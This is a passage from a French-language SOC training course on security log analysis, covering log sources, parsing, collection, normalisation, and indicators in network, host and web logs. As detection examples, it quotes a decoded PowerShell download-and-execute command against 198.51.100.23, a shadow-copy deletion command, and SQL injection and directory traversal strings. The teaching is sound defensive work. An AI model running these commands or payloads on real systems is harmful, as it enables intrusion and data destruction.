Surveillance de sécurité et analyse des journaux

Apprends comment les analystes de sécurité transforment les journaux bruts en décisions. Choisis et collecte les journaux des réseaux, des hôtes, des applications, des services cloud et des systèmes d’identité ; analyse leur syntaxe, normalise-les et enrichis-les ; reconnais les indicateurs de balayage, de vol d’identifiants, de persistance, de vol de données et d’attaques contre les applications web. Établis des références de fonctionnement et des règles de corrélation dans le SIEM, effectue le triage des alertes pour distinguer les incidents réels du bruit, puis écris, teste et règle les règles de détection pour qu’elles restent précises. Les exemples détaillés utilisent des entrées de journal réalistes, des événements Windows et cloud, des règles Sigma et des statistiques simples.

IntermédiaireUnité 1 sur 7 de la formation Formation : Analyste SOC : SIEM, réponse aux incidents et vulnérabilités

Ce que tu vas apprendre

  1. Choisis les sources de journaux qui répondent aux questions de sécurité, lis leurs formats et analyses-en la syntaxe, assure une collecte complète et fiable, puis normalise et enrichis les événements pour pouvoir les interroger ensemble.
    • Choisis les sources de journaux qui permettent de répondre aux questions de sécurité
      Nomme les principales sources de journaux des réseaux, hôtes, applications et outils de sécurité, indique ce que chacune enregistre et choisis celle qui répond à une question d’investigation donnée.
    • Lis les formats de journaux courants et analyse leur syntaxe
      Lis champ par champ les entrées syslog, les événements Windows et les journaux JSON, clé-valeur, CEF et d’accès web, puis extrais les champs à l’aide d’analyseurs syntaxiques et d’expressions régulières.
    • Assure une collecte des journaux complète, rapide et fiable
      Collecte les journaux de chaque source de manière fiable, synchronise les horloges, protège les journaux contre les altérations, planifie leur conservation et leur stockage, et repère les sources silencieuses.
    • Normalise et enrichis les événements
      Associe les champs de différentes sources à un schéma commun, standardise les formats d’heure et de valeur, et ajoute aux événements le contexte des actifs, des identités, des lieux et des menaces.
  2. Lis les journaux des réseaux, des hôtes et des applications pour repérer les motifs qui indiquent un balayage, une commande et un contrôle, un usage détourné d’outils intégrés, une persistance, un vol de données et des attaques contre les applications web, et évalue les explications innocentes possibles pour chacun.
    • Repère les indicateurs dans les données réseau
      Reconnais les balayages, les ports inattendus, les équipements non autorisés, le beaconing, les activités DNS suspectes, les déplacements latéraux et l’exfiltration de données dans les journaux de pare-feu, de flux, de proxy et DNS.
    • Repère les indicateurs sur les hôtes
      Reconnais les processus suspects, l’usage détourné d’outils intégrés, les commandes encodées, la persistance, l’altération des journaux, les logiciels non autorisés et l’usage abusif des ressources dans les journaux des terminaux.
    • Repère les indicateurs dans les applications et sur le Web
      Lis les journaux des serveurs web, des applications et des bases de données pour repérer les tentatives d’injection, les balayages, les web shells, les usages abusifs de comptes et les perturbations de service.
  3. Utilise les journaux d’audit du cloud et les journaux de connexion et d’audit des systèmes d’identité pour repérer les usages abusifs de comptes cloud, les identifiants d’authentification volés et les modifications de privilèges non autorisées.
    • Analyse les journaux d’audit et de service du cloud
      Connais les journaux cloud disponibles et ceux qui sont activés par défaut, lis un événement d’API cloud et reconnais les altérations de la journalisation, l’usage abusif d’identifiants d’authentification, les changements de configuration risqués et l’usage abusif des ressources.
    • Analyse l’activité de connexion
      Lis les journaux d’authentification des fournisseurs d’identité et de Windows, et reconnais les attaques par force brute, la pulvérisation de mots de passe, le bourrage d’identifiants, les déplacements impossibles, la fatigue liée à l’authentification multifacteur et les autres signes de vol d’identifiants d’authentification.
    • Suis les modifications des comptes et des privilèges
      Surveille la création des comptes et des identifiants d’authentification, les modifications d’appartenance aux groupes et aux rôles ainsi que les autres changements d’autorisations sur site et dans le cloud, et compare-les aux opérations d’administration attendues.
  4. Décris l’activité normale à l’aide de références de fonctionnement, évalue les anomalies par rapport à celles-ci et construis une logique de corrélation dans le SIEM qui relie les événements dans le temps et entre les sources.
    • Établis des références de fonctionnement et évalue les anomalies
      Définis l’activité normale des utilisateurs, hôtes et services, mesure les écarts à l’aide de statistiques simples et de groupes de pairs, et décide quand une anomalie mérite attention.
    • Écris la logique de corrélation des règles du SIEM
      Explique le rôle d’un SIEM et conçois des règles de corrélation (événement unique, seuil, nombre de valeurs distinctes, séquence, sources croisées et absence) avec des clés de regroupement et des fenêtres temporelles adaptées.
  5. Classe les résultats de l’analyse des alertes, traite chaque alerte du premier examen à une décision documentée et mène efficacement tes investigations à l’aide de requêtes, du décodage et d’outils de réputation.
    • Classe les résultats de l’analyse des alertes
      Distingue les vrais et faux positifs et négatifs, y compris les vrais positifs bénins, et explique pourquoi les taux de base, la précision et la fatigue liée aux alertes rendent la qualité des alertes importante.
    • Traite une alerte du premier examen à la décision
      Suis un processus de triage reproductible : comprends l’alerte, valide-la à partir des événements bruts, ajoute du contexte, détermine son périmètre, décide et documente, puis procède à l’escalade en transmettant clairement le dossier.
    • Mène une investigation à l’aide de requêtes, du décodage et d’outils de réputation
      Recherche et explore les journaux par pivots à l’aide de requêtes ciblées, décode les données obscurcies, vérifie en sécurité la réputation des adresses, domaines et fichiers, et utilise les assistants d’IA avec prudence.
  6. Transforme une menace en une règle de détection testée et documentée, puis règle et maintiens les détections pour qu’elles restent précises lorsque l’environnement évolue.
    • Conçois, écris et teste une règle de détection
      Suis le cycle de l’ingénierie de la détection : définis le comportement et les données, écris une logique de règle portable, associe-la à MITRE ATT&CK, teste-la avec des données malveillantes et normales, et documente-la.
    • Règle les détections et suis leur qualité
      Réduis les faux positifs sans créer de zones aveugles, utilise les exclusions et les seuils avec prudence, mesure la qualité des détections et maintiens une bonne couverture au fil du temps.

Analyse des journaux de sécurité : cours

6 chapitres

1

Construis une chaîne de collecte des journaux fiable

Une investigation utile commence avant l’arrivée d’une alerte. Les systèmes appropriés doivent enregistrer les détails nécessaires, et ces détails doivent parvenir dans un stockage interrogeable sans perdre leur sens. Apprends à choisir les sources selon les questions, à lire leurs formats, à protéger la collecte et à donner aux événements des champs communs et un contexte utile. Ces choix déterminent ce que les recherches et les détections pourront voir par la suite.

1.1 Associe la question aux éléments de preuve

Un événement est un fait observable, comme une connexion ou le démarrage d’un processus. Un journal enregistre des événements. Une alerte indique que des événements surveillés correspondent à une logique de détection. Un incident menace effectivement ou de façon imminente les informations ou les systèmes, ou enfreint ou menace d’enfreindre de façon imminente la loi, la politique ou les procédures de sécurité ou la politique d’utilisation acceptable. Un analyste vérifie les éléments de preuve avant de décider comment classer une alerte.

Choisis une source selon ce qu’elle montre
QuestionSource utileÉléments à lire
Qui s’est connecté ?Journaux d’authentification de l’hôte ou du fournisseur d’identitéUtilisateur, source, méthode, résultat
Qu’est-ce qui s’est exécuté ?Création de processus ou EDRProgramme, ligne de commande, parent, utilisateur
Qui détenait une adresse ?DHCPÉquipement et période du bail
Quel nom a été demandé ?DNSClient, requête, réponse
Où le trafic est-il allé ?Pare-feu, proxy, enregistrements de fluxDestination, heure, octets, action

Les pare-feu enregistrent les connexions autorisées et refusées. Les proxys et les passerelles web sécurisées ajoutent les URL, les agents utilisateurs et les tailles des transferts. Les passerelles VPN montrent les sessions à distance ; les outils IDS/IPS signalent le trafic qui correspond à leurs signatures. Les enregistrements de flux, notamment NetFlow et IPFIX, résument les échanges par adresses, ports, protocole, horaires, paquets et octets. Ils restent utiles pour le trafic chiffré parce qu’ils en décrivent la forme, mais ne contiennent pas de charge utile.

Les journaux des hôtes révèlent l’activité derrière ces connexions. Les événements Windows Security comprennent l’authentification, les modifications de comptes et la création de processus lorsque l’audit est activé. Les journaux System et Application montrent les services et les logiciels. Sysmon et l’EDR ajoutent des détails sur les processus, les fichiers, le registre et le réseau. La journalisation des blocs de script PowerShell enregistre le contenu des scripts dans l’événement 4104. Les messages d’authentification Linux apparaissent couramment dans /var/log/auth.log sur les systèmes de la famille Debian ou /var/log/secure sur ceux de la famille Red Hat. Le journal systemd se lit avec journalctl ; auditd enregistre l’activité sélectionnée par ses règles d’audit.

Les journaux d’accès et d’erreurs web, les audits de bases de données et d’applications métier ainsi que les passerelles de messagerie expliquent les requêtes et l’utilisation des données. Les constats des antivirus, des outils DLP, des WAF et des scanneurs de vulnérabilités ajoutent une autre vue. Le constat d’un outil de sécurité reste un événement à interpréter avec l’activité sous-jacente.

Suis une adresse dans le temps

Un proxy enregistre un téléchargement par 10.20.30.45 à 14 h 02 UTC. Le bail DHCP attribue cette adresse à LAPTOP-0193 de 13 h 30 à 21 h 30 ce jour-là. Recherche les événements de processus de cet ordinateur portable autour du téléchargement. Le titulaire actuel du bail pourrait être un autre équipement ; associer l’adresse sans tenir compte de la période du bail peut orienter l’investigation vers le mauvais hôte.

Vérifie la collecte avant de t’y fier

Vérifie dans un échantillon réel que les champs nécessaires à ta question sont présents. L’événement Windows 4688 nécessite la stratégie de capture des lignes de commande pour inclure le texte de la commande. L’événement réseau Sysmon 3 est désactivé par défaut. Un SIEM ne reçoit que les données qui lui sont envoyées. Donne la priorité aux détails utiles sur les actifs critiques et les identités privilégiées, et vérifie aussi les connexions autorisées : une connexion autorisée peut transporter une attaque.

Points clés

  • Pars de la question d’investigation, puis choisis les sources.
  • Les enregistrements de flux montrent les métadonnées du trafic sans charge utile.
  • Associe une adresse IP à l’équipement qui la détenait au moment de l’événement.
  • Vérifie l’audit et les champs nécessaires à partir d’exemples réels d’événements.

1.2 Transforme les entrées brutes en champs interrogeables

L’analyse syntaxique extrait des champs nommés d’une entrée brute. La recherche d’un fragment de texte peut trouver une ligne ; les champs analysés permettent de compter les échecs par utilisateur, de comparer les adresses et de trier par horodatage de l’événement. Conserve l’entrée brute pour pouvoir vérifier l’extraction.

Lis d’abord la structure

Un message syslog RFC 5424 commence par la priorité, la version, l’horodatage, l’hôte, l’application, l’identifiant du processus, l’identifiant du message, les données structurées et le texte du message. Les horodatages de l’ancien format RFC 3164, comme Mar 14 10:15:02, omettent l’année et le fuseau horaire, qu’il faut déterminer d’après le contexte de la source.

La priorité syslog combine la catégorie de service et la gravité :

prioriteˊ=8×cateˊgorie de service+graviteˊ

Pour <38>, la division par 8 donne la catégorie de service 4 et un reste de 6, Information. Pour <34>, la même catégorie a la gravité 2, Critique. Les niveaux de gravité vont de 0 Urgence à 1 Alerte, 2 Critique, 3 Erreur, 4 Avertissement, 5 Avis, 6 Information et 7 Débogage. Plus le nombre est petit, plus la gravité est élevée. Il s’agit de l’évaluation de l’application émettrice : un échec SSH de niveau Information peut tout de même faire partie d’une attaque.

Les fichiers Windows EVTX peuvent être consultés sous forme de XML ou de texte mis en forme. La section System indique le fournisseur, l’identifiant de l’événement, l’heure de création en UTC, l’ordinateur et le canal. EventData contient les champs propres à l’événement. Pour 4625, examine TargetUserName, LogonType, Status, SubStatus, IpAddress, WorkstationName et ProcessName. Le type 10 signifie RemoteInteractive ; le type 2 désigne une ouverture de session locale interactive. Un même identifiant d’événement peut décrire des chemins d’accès très différents.

Extrais les champs selon leur sens

Les analyseurs JSON recherchent les clés, y compris les chemins imbriqués comme responseElements.ConsoleLogin. Ils doivent gérer les champs absents et nuls ainsi que les changements dans l’ordre des clés. Les enregistrements clé-valeur nomment directement les valeurs, comme dans src=203.0.113.45 dport=3389 action=deny. CEF ajoute un en-tête séparé par des barres verticales contenant le fournisseur, le produit, la signature, le nom et la gravité avant ses extensions clé-valeur ; utilise un analyseur qui comprend ses caractères d’échappement.

Dans un journal d’accès web au format combiné, lis l’adresse du client, l’identité, l’utilisateur authentifié, l’heure et son décalage, la requête, l’état, le nombre d’octets de la réponse, le référent et l’agent utilisateur. Un tiret signifie qu’une valeur est absente. Les agents utilisateurs sont fournis par les clients : un nom de scanneur est donc un élément de preuve utile, mais le nom d’un navigateur ordinaire peut être imité.

Extrais deux formes de messages SSH

Cette expression régulière traite aussi bien un nom d’utilisateur normal que la mention « invalid user » :

Failed password for (?:invalid user )?(\S+) from (\d{1,3}(?:\.\d{1,3}){3}) port (\d+)

Dans Failed password for invalid user admin from 203.0.113.45 port 52114, les valeurs capturées sont admin, 203.0.113.45 et 52114. Le groupe facultatif non capturant prend en compte « invalid user » et l’espace qui suit sans en faire le nom d’utilisateur. \S+ capture du texte sans espace ; \d+ capture des chiffres.

Le motif extrait une valeur ayant la forme d’une adresse ; il accepte aussi des octets comme 999, donc la validation de l’adresse est une étape distincte. Évite un .* glouton lorsqu’il peut absorber un séparateur de champs. Réunis les enregistrements sur plusieurs lignes avant l’analyse et surveille les échecs d’analyse après les mises à jour logicielles : une structure modifiée peut laisser silencieusement vides les champs de détection.

Points clés

  • L’analyse syntaxique permet les recherches et les décomptes fondés sur les champs.
  • La gravité syslog est une évaluation de la source, pas un verdict d’attaque.
  • Utilise les champs JSON nommés et traite les valeurs absentes.
  • Teste l’expression régulière sur différentes formes de messages et conserve l’entrée brute.
  • Surveille les échecs des analyseurs lorsque les formats de journaux changent.

1.3 Assure l’arrivée des éléments de preuve avec des heures fiables

La collecte doit continuer à fonctionner malgré les interruptions courantes et les interférences délibérées. Une règle précise a peu de valeur si sa source cesse d’émettre ou si ses horodatages placent les événements dans le mauvais ordre.

Choisis et surveille le chemin

Un agent lit les journaux locaux et peut les mettre en tampon, les filtrer, les chiffrer et les transmettre. Les chemins sans agent comprennent syslog, Windows Event Forwarding, l’interrogation périodique des API cloud et les exports vers un stockage ou des flux. L’état de chaque chemin doit être surveillé. Syslog sur UDP au port 514 n’est pas chiffré et ne confirme pas la livraison. TCP ajoute une livraison fiable ; syslog sur TLS au port 6514 ajoute le chiffrement et l’authentification du serveur. Utilise un transport fiable et chiffré sur les réseaux non fiables et mets les événements en tampon pendant les interruptions du collecteur.

Synchronise les horloges des sources avec un service de temps fiable, généralement NTP sur le port UDP 123. Stocke les heures en UTC et conserve le décalage d’origine. L’heure du pare-feu 2026-03-14 10:15:00 +02:00 correspond à 2026-03-14T08:15:00Z. Une horloge d’hôte qui avance de sept minutes place ses événements trop tard et peut inverser une chronologie. Une forte dérive perturbe aussi les authentifications sensibles à l’heure ; Windows Kerberos autorise cinq minutes par défaut.

L’horodatage de l’événement indique quand l’activité a eu lieu. L’horodatage d’ingestion indique quand la plateforme l’a reçue. Les événements mis en tampon et ceux du cloud peuvent arriver en retard. Effectue la corrélation selon l’horodatage de l’événement et laisse aux recherches planifiées un délai ou une période de recherche rétrospective suffisante pour inclure les arrivées tardives.

Protège et conserve les journaux

Transmets rapidement les journaux hors des hôtes, limite les droits de lecture et de suppression et sépare le contrôle des journaux de l’administration courante. Le stockage immuable et les condensats cryptographiques aident à détecter ou à empêcher les altérations. La validation de l’intégrité CloudTrail utilise des fichiers de condensats SHA-256. Surveille l’événement Windows 1102 pour l’effacement du journal d’audit et 4719 pour les changements de stratégie d’audit, ainsi que les actions cloud comme StopLogging et DeleteTrail. Restreins l’accès, car les journaux peuvent contenir des données personnelles et sensibles.

La durée de conservation dépend des besoins d’investigation et des obligations légales, contractuelles ou réglementaires applicables. Par exemple, l’exigence 10.5.1 de PCI DSS v4.0 impose au moins 12 mois d’historique d’audit, dont les trois derniers mois immédiatement disponibles. Le stockage récent interrogeable est souvent appelé stockage à chaud ; les archives coûtent moins cher, mais demandent plus de temps pour la recherche ou la restauration. Les durées par défaut peuvent être trop courtes : les journaux d’audit et de connexion Entra sont conservés 7 jours avec Free ou 30 jours avec P1/P2, tandis que l’historique des événements CloudTrail offre 90 jours d’événements de gestion. L’export permet une conservation plus longue.

Estime le volume et surveille les silences

Pour 2 000 terminaux produisant chacun 5 000 événements par jour de 500 octets chacun, le volume brut quotidien est de 5 000 000 000 octets, soit 5 Go. Quatre-vingt-dix jours nécessitent 450 Go ; une année nécessite 1,825 To avant compression, indexation et autres surcoûts de stockage.

Suis le volume attendu et les signaux de vie des sources critiques, les erreurs des collecteurs, l’accumulation dans les files d’attente et les échecs d’analyse syntaxique. « Aucun événement de DC01 pendant 30 minutes » est une alerte sur l’état de fonctionnement, même si aucune alerte d’attaque ne s’est déclenchée. Une norme de journalisation devrait préciser les catégories d’audit, la capture des lignes de commande, la journalisation des scripts et le niveau de détail adapté à chaque type de système. Une collecte limitée aux erreurs manque l’activité de sécurité ; une collecte habituelle au niveau débogage peut submerger le stockage.

Points clés

  • Utilise une mise en tampon et un transport fiable et chiffré sur les réseaux non fiables.
  • Convertis les décalages horaires et distingue l’horodatage de l’événement de celui de l’ingestion.
  • Protège les copies centrales et surveille les modifications de la journalisation.
  • Définis délibérément la durée de conservation et estime le volume brut avant les surcoûts.
  • Déclenche des alertes sur l’absence de sources critiques comme sur les événements suspects.

1.4 Donne aux événements des champs communs et un contexte utile

Un événement Windows, un message Linux et un enregistrement cloud peuvent décrire le même type d’action avec des noms différents. La normalisation donne à ces champs des noms, des types et des conventions de valeurs communs. L’enrichissement ajoute des informations sur les personnes, les systèmes et les destinations concernés.

Normalise le sens, pas seulement les noms
Source bruteChamp d’adresseChamp commun
WindowsIpAddresssource.ip
Pare-feusrcsource.ip
CloudTrailsourceIPAddresssource.ip

Pour les échecs de connexion de jdoe depuis 203.0.113.45, les trois sources peuvent toutes devenir event.category=authentication, event.outcome=failure, user.name=jdoe et source.ip=203.0.113.45. Une seule règle d’authentification regroupée par source peut alors interroger les trois.

Les schémas communs comprennent ECS, OCSF, CIM et ASIM. Les noms de champs de l’exemple suivent le style ECS. Un schéma définit aussi les types de données et les valeurs autorisées. Stocke les adresses dans un type adapté aux adresses pour permettre les recherches par sous-réseau. Convertis les heures en UTC au format ISO 8601. Associe les différentes représentations d’une réussite ou d’un échec à un résultat commun, en utilisant le sens réel de l’action source. Le résultat « autorisé » d’un pare-feu décrit une décision relative à une connexion, pas une authentification réussie d’un utilisateur.

Associe les identités comme EXAMPLE\jdoe, jdoe@example.com et JDOE au même compte lorsqu’elles représentent réellement ce compte. Ignorer la casse convient lorsque la source ne distingue pas les majuscules des minuscules. Conserve les distinctions lorsque la casse compte et évite de fusionner deux personnes simplement parce que leurs noms d’utilisateur courts correspondent.

Ajoute un contexte qui change la question

Un enrichissement utile comprend le responsable de l’actif, son système d’exploitation, son rôle métier, sa criticité et son exposition à Internet ; le service de l’utilisateur, ses privilèges, le statut de compte de service et le statut d’emploi ; l’historique DHCP ; ainsi que le propriétaire réseau, la localisation approximative et la réputation des adresses publiques.

Une alerte signale des échecs répétés pour svc-backup depuis 10.20.30.45. Le contexte de l’actif indique un ordinateur portable du marketing. Le contexte d’identité indique que ce compte de service ne se connecte normalement que depuis le serveur de sauvegarde 10.0.8.12. Cette relation inattendue mérite attention avant même que le nombre d’échecs ne devienne élevé.

Sache quand le contexte a été ajouté. L’enrichissement à l’ingestion conserve le contexte disponible à l’arrivée de l’événement. L’enrichissement à la recherche montre généralement l’état actuel. Le responsable actuel d’un actif ou l’attribution actuelle d’une adresse peut donner une image erronée d’événements anciens ; utilise donc les données historiques lorsque la question porte sur une attribution passée.

Vérifie les associations et les réductions

La géolocalisation peut être faussée par les VPN, les opérateurs mobiles, les proxys et l’hébergement cloud. La réputation change lorsque l’infrastructure change de propriétaire. Utilise ces deux éléments comme preuves complémentaires et vérifie leur ancienneté. Valide les associations de champs par rapport à des exemples bruts : associer une destination à source.ip peut amener une règle à incriminer le mauvais système.

La déduplication supprime les livraisons répétées d’un même événement. L’agrégation combine plusieurs événements, par exemple en stockant un seul compteur pour 1 000 refus. L’agrégation économise de l’espace mais supprime les détails individuels. Conserve les champs et les événements bruts nécessaires aux détections et aux investigations ; les filtrer à la source crée une lacune qu’aucune corrélation ultérieure ne peut combler.

Points clés

  • Normalise les noms, types, horodatages, identités et résultats.
  • L’enrichissement ajoute le contexte des actifs, des identités et des destinations.
  • Vérifie si le contexte décrit l’événement passé ou l’environnement actuel.
  • Valide les associations à partir des événements bruts avant de te fier à une règle.
2

Lis les motifs dans les journaux des réseaux, des hôtes et des applications

Une adresse suspecte n’est qu’un indice parmi d’autres. Les horaires, la direction du trafic, les relations entre processus, les motifs de requêtes et les actions ultérieures en disent souvent davantage. Lis chaque source selon ce qu’elle peut montrer, compare l’activité au travail attendu et relie les enregistrements indépendants dans une chronologie. Les conclusions les plus solides expliquent une séquence à travers plusieurs sources tout en distinguant les tentatives, les actions réussies et les questions sans réponse.

2.1 Reconnais les motifs réseau suspects

Un indicateur de compromission est un artefact observable qui suggère une compromission. Un indicateur atomique est une adresse, un domaine, une URL ou une empreinte isolée. Un indicateur comportemental est un motif, comme un poste qui contacte de nombreux autres postes sur le port 445. Les valeurs atomiques sont rapides à rechercher et faciles à remplacer ; le comportement décrit ce que fait l’auteur de l’action.

Lis la forme des connexions

Un balayage vertical explore de nombreux ports sur un hôte. Un balayage horizontal explore un port sur de nombreux hôtes. De nombreuses connexions refusées ou réinitialisées avec très peu d’octets correspondent à un balayage, mais les scanneurs de vulnérabilités autorisés font le même travail. Compare la source, le périmètre et les horaires. Les explorations de fond d’un périmètre depuis Internet ont un contexte différent d’un balayage effectué par un poste interne.

Les relations inattendues comptent autant que les ports. Des postes qui se contactent soudainement par SMB 445, RDP 3389 ou WinRM 5985/5986 peuvent indiquer un déplacement latéral. Les serveurs de gestion et les serveurs de rebond peuvent le faire légitimement. Un serveur de base de données qui initie des connexions SSH, un poste exposé à Internet qui accepte RDP ou un trafic dont le protocole ne correspond pas au port mérite un examen plus approfondi. Un numéro de port suggère un service ; il n’établit pas le protocole réellement utilisé.

De nouvelles adresses MAC dans les journaux DHCP, de commutateur, NAC ou de contrôleur sans fil peuvent révéler des équipements non autorisés. Compare avec l’inventaire et les enregistrements d’intégration : une nouvelle imprimante et un équipement inconnu sur un segment de serveurs présentent des risques différents.

Examine les répétitions et les noms

Le beaconing est une prise de contact répétée avec un serveur de commande et contrôle. Les instants 0, 60, 121, 180, 241, 299, 360, 421, 480 et 540 secondes donnent des intervalles de 60 secondes en moyenne, avec une dispersion d’environ 1,1 seconde. De petites requêtes, un agent utilisateur répété et une activité qui se poursuit pendant la nuit renforcent ce motif. Vérifie le processus à l’origine des connexions et la destination, car les outils de mise à jour et de télémétrie contactent aussi leurs serveurs. Les attaquants peuvent ajouter un délai aléatoire, ou gigue.

Le DNS offre une autre vue. Un algorithme de génération de noms de domaine peut produire de nombreux noms d’apparence aléatoire et de nombreuses réponses NXDOMAIN. Un tunnel DNS peut produire de longues étiquettes, de nombreux sous-domaines uniques sous un même domaine et un volume inhabituel de requêtes TXT. Une étiquette DNS est limitée à 63 caractères. L’entropie de Shannon mesure le caractère aléatoire des caractères : example vaut environ 2,52 bits par caractère, tandis que x9f3kq7z2b8wp1md vaut 4,0. Une entropie élevée apparaît aussi dans des noms cloud légitimes ; combine-la avec le volume de requêtes, l’historique de la destination et l’âge du domaine.

Suis le volume et la direction

Une exfiltration possible se manifeste notamment par des transferts sortants inhabituellement volumineux vers de nouvelles destinations, des horaires inhabituels ou un rapport élevé entre données envoyées et reçues. Un serveur qui téléverse 2,3 Go tout en recevant 40 Mo présente un rapport de 57,5 pour 1, en unités décimales. Vérifie les tâches connues de sauvegarde et de synchronisation avant de décider pourquoi cela s’est produit. HTTPS cache le contenu de la charge utile tout en laissant visibles des métadonnées utiles sur le volume et les horaires.

Le NAT peut placer de nombreux équipements derrière une adresse publique. Retrouve la source interne à l’aide des enregistrements NAT, de proxy ou de pare-feu interne à l’heure concernée. Le pays d’une destination ne fournit pas à lui seul assez de contexte pour décider si une connexion est malveillante.

Points clés

  • Compare les balayages aux sources et aux horaires autorisés.
  • Examine les connexions inattendues entre postes et les utilisations inattendues de services.
  • Combine les indices de beaconing ou DNS avec le contexte des processus et des destinations.
  • Vérifie la direction, le volume et la destination des transferts ainsi que les tâches attendues.
  • Résous la traduction NAT avant d’attribuer l’activité d’une adresse publique à un équipement.

2.2 Relie l’activité des processus à la persistance

La télémétrie des hôtes relie l’activité réseau au programme et à l’utilisateur responsables. La création de processus est particulièrement utile : Windows 4688 avec capture de la ligne de commande ou Sysmon 1 montre le nouveau processus, la ligne de commande, le parent et l’utilisateur. Sysmon fournit aussi des empreintes et des identifiants de processus utiles pour relier les événements.

Lis le parent et les arguments
Relation entre processusRaison d’enquêter
winword.exe lance powershell.exeUn document a pu lancer un script
w3wp.exe lance cmd.exeUne requête web a pu atteindre un interpréteur de commandes
services.exe lance un programme dans le dossier temporaire d’un utilisateurUn service peut pointer vers un fichier modifiable par un attaquant

Des outils légitimes et signés peuvent être détournés comme LOLBins. certutil.exe peut télécharger des fichiers, mshta.exe peut exécuter le contenu d’un script distant et rundll32.exe peut charger une DLL depuis un dossier accessible en écriture. vssadmin delete shadows /all /quiet supprime les clichés instantanés et peut précéder un rançongiciel. Évalue ensemble les arguments, le parent, l’utilisateur, le chemin, le signataire et les actions environnantes. Un nom de fichier familier seul dit peu de chose sur l’intention.

Le paramètre -EncodedCommand de PowerShell transporte du texte UTF-16LE encodé en Base64. Le décodage de la commande de l’exemple donne iwr http://198.51.100.23/a.ps1|iex : télécharger un script et l’exécuter en mémoire. L’encodage et les fenêtres masquées apparaissent aussi en administration. Lis le contenu décodé et, lorsqu’il est disponible, l’événement de bloc de script 4104.

Recherche un moyen de revenir

La persistance permet de conserver l’accès après un redémarrage ou une fermeture de session. Surveille les nouveaux services (7045 dans System ou 4697 dans Security), les tâches planifiées (4698), les valeurs Run du registre (Sysmon 13), les fichiers de démarrage (Sysmon 11) et les nouveaux comptes locaux (4720). Sous Linux, examine les entrées cron, les unités systemd et les nouvelles clés dans ~/.ssh/authorized_keys. Une tâche qui pointe vers C:\Users\Public\upd.exe appelle une autre explication qu’un déploiement logiciel documenté.

L’effacement des journaux (1102), les modifications de la stratégie d’audit (4719), l’arrêt du service Sysmon (Sysmon 4) ou la suppression d’un agent EDR peuvent indiquer une altération des dispositifs de surveillance. Vérifie rapidement les enregistrements de maintenance. D’autres indices comprennent les outils d’accès à distance non approuvés, les accès inhabituels à la mémoire de lsass.exe (Sysmon 10) et les modifications rapides de fichiers accompagnées de demandes de rançon. Une utilisation élevée du processeur ou du processeur graphique peut correspondre à du minage de cryptomonnaie, mais compare-la à la charge de travail et aux tâches planifiées ; un bref pic est un élément de preuve faible.

Construis la chaîne d’exécution

À 09:12:04 UTC, Outlook lance Word avec Invoice_8841.docm. À 09:12:31, Word lance une commande PowerShell encodée. À 09:12:33, ce processus PowerShell se connecte à 198.51.100.23:80 ; à 09:12:40, upd.exe est écrit ; à 09:13:02, une tâche planifiée le lance à l’ouverture de session. Relie les enregistrements de processus et de fichiers, pas seulement les horodatages proches. La chaîne montre l’acheminement, l’exécution, le téléchargement et la persistance et justifie une escalade. L’absence de télémétrie des hôtes doit rester une lacune visible dans le dossier.

Points clés

  • Utilise les processus parents et les lignes de commande pour interpréter l’exécution.
  • Les outils système signés peuvent être détournés.
  • Décode les commandes encodées et examine le contenu des scripts.
  • Vérifie les cibles de persistance, leurs créateurs et les enregistrements de changements.
  • Relie les événements des hôtes dans une chronologie et examine les altérations des dispositifs de surveillance.

2.3 Lis les tentatives web et leurs résultats

Les journaux web et applicatifs révèlent l’activité cachée dans des connexions HTTPS ordinaires. Les journaux d’accès décrivent les requêtes, les codes de réponse, les tailles et les informations déclarées par les clients. Les audits applicatifs et de bases de données ajoutent qui a accédé aux données, modifié les autorisations, exécuté des requêtes ou exporté des enregistrements.

Décode la requête

L’encodage pour cent représente les octets par % suivi de deux chiffres hexadécimaux. Le fragment id=1%27%20OR%201%3D1--%20 devient id=1' OR 1=1-- , ce qui suggère une injection SQL. Le chemin ..%2F..%2F..%2Fetc%2Fpasswd devient ../../../etc/passwd, ce qui suggère une traversée de répertoires. D’autres indices comprennent UNION SELECT, des balises de script ou des séparateurs shell suivis de commandes.

Décode les couches dans l’ordre. %252e%252e%252f devient %2e%2e%2f, puis ../. Conserve à la fois la requête brute et son interprétation décodée ; remplacer l’original fait perdre la preuve de la façon dont l’entrée a été envoyée.

Lis la séquence autour de la réponse
ObservationInterprétation utile
Nombreuses réponses 404 sur des chemins sans rapportDécouverte ou navigation forcée
Répétition de 401 ou 403 autour de l’authentificationTentatives de devinette ou échecs d’accès possibles
Entrée ressemblant à une injection suivie d’un 500L’entrée a pu perturber le traitement côté serveur
200 avec une réponse beaucoup plus volumineuseDonnées possiblement renvoyées ; vérifie les éléments applicatifs
Pic de requêtes avec 503 et délais d’attente dépassésPerturbation de service dont il faut analyser la cause

Les codes décrivent le traitement HTTP, pas l’ensemble du résultat du point de vue de la sécurité. Certaines applications utilisent 200 pour les pages d’erreur, et un WAF peut renvoyer une page de blocage avec 200. Un agent utilisateur de scanneur est contrôlé par le client. Ni un agent utilisateur familier ni une requête bloquée ne suffisent à conclure l’investigation.

Dans la séquence de l’exemple, un client effectue 412 requêtes en trois minutes, dont 398 renvoient 404. Une tentative d’injection renvoie ensuite 500 ; une requête UNION SELECT ultérieure renvoie 200 avec 48 210 octets contre 2 100 habituellement. Cette taille environ 23 fois plus élevée après les tentatives étaye l’hypothèse d’une exposition de données. Vérifie les requêtes de base de données et les événements d’audit applicatifs pour établir ce qui a réellement été renvoyé.

Relie les éléments applicatifs et ceux de l’hôte

Un web shell est un script qui permet à un attaquant d’exécuter des commandes par des requêtes web. Un nouveau script dans un dossier de téléversement, des requêtes POST répétées depuis quelques clients et des paramètres comme cmd= justifient une investigation. Un processus de serveur web correspondant qui lance cmd.exe ou /bin/sh ajoute une preuve directe d’exécution sur l’hôte.

Surveille aussi les identités applicatives : des réussites après des échecs, des origines inattendues de clés API, des rafales d’appels atteignant les limites de débit et un utilisateur ordinaire qui exporte des milliers d’enregistrements peuvent révéler un usage abusif de compte. Ces motifs nécessitent des champs d’audit utiles, pas seulement des journaux d’erreurs. Si les requêtes et les erreurs augmentent brusquement après un déploiement, examine le déploiement et les sources clientes en plus des hypothèses d’attaque ; une version défectueuse ou un véritable afflux de trafic peut aussi provoquer une perturbation.

Points clés

  • Décode les requêtes suspectes tout en conservant le texte brut.
  • Utilise ensemble l’état, la taille de la réponse et l’activité environnante.
  • Relie les requêtes web à l’exécution sur l’hôte et à l’accès à la base de données.
  • Collecte les champs d’audit applicatifs relatifs aux actions des utilisateurs et des API.
3

Suis l’activité du cloud et des identités

